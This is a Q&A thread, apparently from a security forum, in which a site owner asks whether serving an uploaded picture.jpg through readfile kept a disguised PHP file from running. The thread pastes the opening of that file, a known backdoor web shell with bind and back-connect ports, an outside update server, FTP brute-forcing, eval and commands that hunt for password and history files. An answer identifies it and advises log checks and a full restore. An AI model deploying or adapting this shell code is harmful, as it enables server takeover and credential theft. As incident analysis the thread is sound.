1

Yesterday someone used my image upload form to upload a php script in a picture.jpg file. I can not include the whole code because its about 176735 characters, you find the beginning of the giant script at the bottom.

I read now the Risks of a PHP image upload form and learned that I could have prevented this by checking if picture.jpg is actually an image with the getimagesize() function.

However, the picture was uploaded by my script outside the Document Root at /secure/picture.jpg and the hacker could see the "image" only through <img src='image.php'> where image.php consists of

<?php 
header('Content-Type: image/jpeg');
readfile('/supersave/picture.jpg');
?> 

was that enough to deny the hacker from executing his php script?

Furthermore, I got the $client_ip 2601:49:c201:21c0:2d35:34a3:7840:1a69 through

if (! isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $client_ip = $_SERVER['REMOTE_ADDR'];
    }
    else{
        $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }

normally I get a IP result from the form XXX.XXX.XX.XXX. Does this above number tell me anything about the hacker?

Here is the script:

    <?php
/*
/*
/* HomePage : r57c99.com !
/*
*/
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "r57c99.com .Biz was here"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.


$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " r57c99.com . Org ".$shver.": access denied";

$gzipencode = TRUE; //Encode with gzip?

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)

$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>Owned by r57c99.com.org</b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "dangerover@dangerover.net"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if TRUE and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "k1r4";  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "k1r4vars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 array("<b>Tools</b>",$surl."act=tools&d=%d"),
 array("<b>Proc.</b>",$surl."act=processes&d=%d"),
 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>Sec.</b>",$surl."act=security&d=%d"),
 array("<b>SQL</b>",$surl."act=sql&d=%d"),
 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 array("<b>Update</b>",$surl."act=update&d=%d"),
 array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 array("<b>Self remove</b>",$surl."act=selfremove"),
 array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["k1r4cook"]);

//END CONFIGURATION


// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://google.com/releases/ckira\">kira</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("k1r4_buff_prepare"))
{
function k1r4_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
k1r4_buff_prepare();
if (!function_exists("k1r4_sess_put"))
{
function k1r4_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 k1r4_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = TRUE;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return FALSE;}
 }
 else {return FALSE;}
}
}
.
.
.
    ?>
Adam
  • 137
  • 1
  • 1
  • 11
  • I suggest putting the giant code block at the bottom, that way people read your post first before looking at the code. – Daisetsu Apr 24 '16 at 18:10
  • @Daisetsu okay good suggestion, did that. – Adam Apr 24 '16 at 18:11
  • You could also upload the code somewhere (Pastebin,...) and simply add the link. – A. Darwin Apr 24 '16 at 18:26
  • Try using the Emposha PHP Shell Detector https://github.com/emposha/PHP-Shell-Detector It'll scan through your files and will report any suspicious file. – Shubhamoy May 11 '16 at 07:58

1 Answers1

4

This looks like your run of the mill script-kiddie backdoor PHP script. The attacker likely has very little experience as they've just downloaded it from another site, they didn't even write it themselves. All they did was update some configuration.

Well, the IP address is an IPv6 address, which relatively few people are using. Looks like it's likely from some's home computer as the IP resolves to comcast (http://www.webdnstools.com/dnstools/dns-lookup-ipv6-results), although actual attribution is difficult since there are many compromised computers out there. You don't know if that is the actual attacker or if it's a bot running on an innocent victims system.

Either way, it wouldn't hurt to submit an abuse report http://my.xfinity.com/terms/abuse/

You probably won't get far with that though, they don't really care that much.

It's good that you were uploading your contents to a location not accessible via the webserver. It's possible the script never executed. I would check the webserver access logs, and grep to see if you can find the filename there anywhere. Maybe they accessed it another way other than through the image.php. I can't give you any definitive way to check whether the script executed or not without seeing your entire website, all the files, and the configuration though. There could always be another script that was vulnerable, that they could have used.

EDIT: Adding recomendation

I recommend that you do a full site restore. I trust that you have backups of your entire site, including HTML and all databases. Just have your host wipe out everything on your account and restore from backups. It's not enough to just go in via FTP and delete everything, as there may be hidden files. Best to have your host do it.

If you don't have recent full backups, then this is a serious wake up call to implement a secure automated backup system. You cant' rely on your host to do this for you. Also, your host may have a backup. Maybe you could ask for them to restore that from before the attack.

Daisetsu
  • 5,120
  • 1
  • 15
  • 24
  • How do you see that the IP resolves to comcast? If I click on your link I only see **b.root-servers.net.** and **a.root-servers.net.** – Adam Apr 25 '16 at 06:40
  • 1
    Oops, I assumed the IP address would be in the url. You can perform the lookup by going to http://www.webdnstools.com/dnstools/dns-lookup and entering the IP address into the field "Look up Reverse DNS Entries" – Daisetsu Apr 25 '16 at 06:43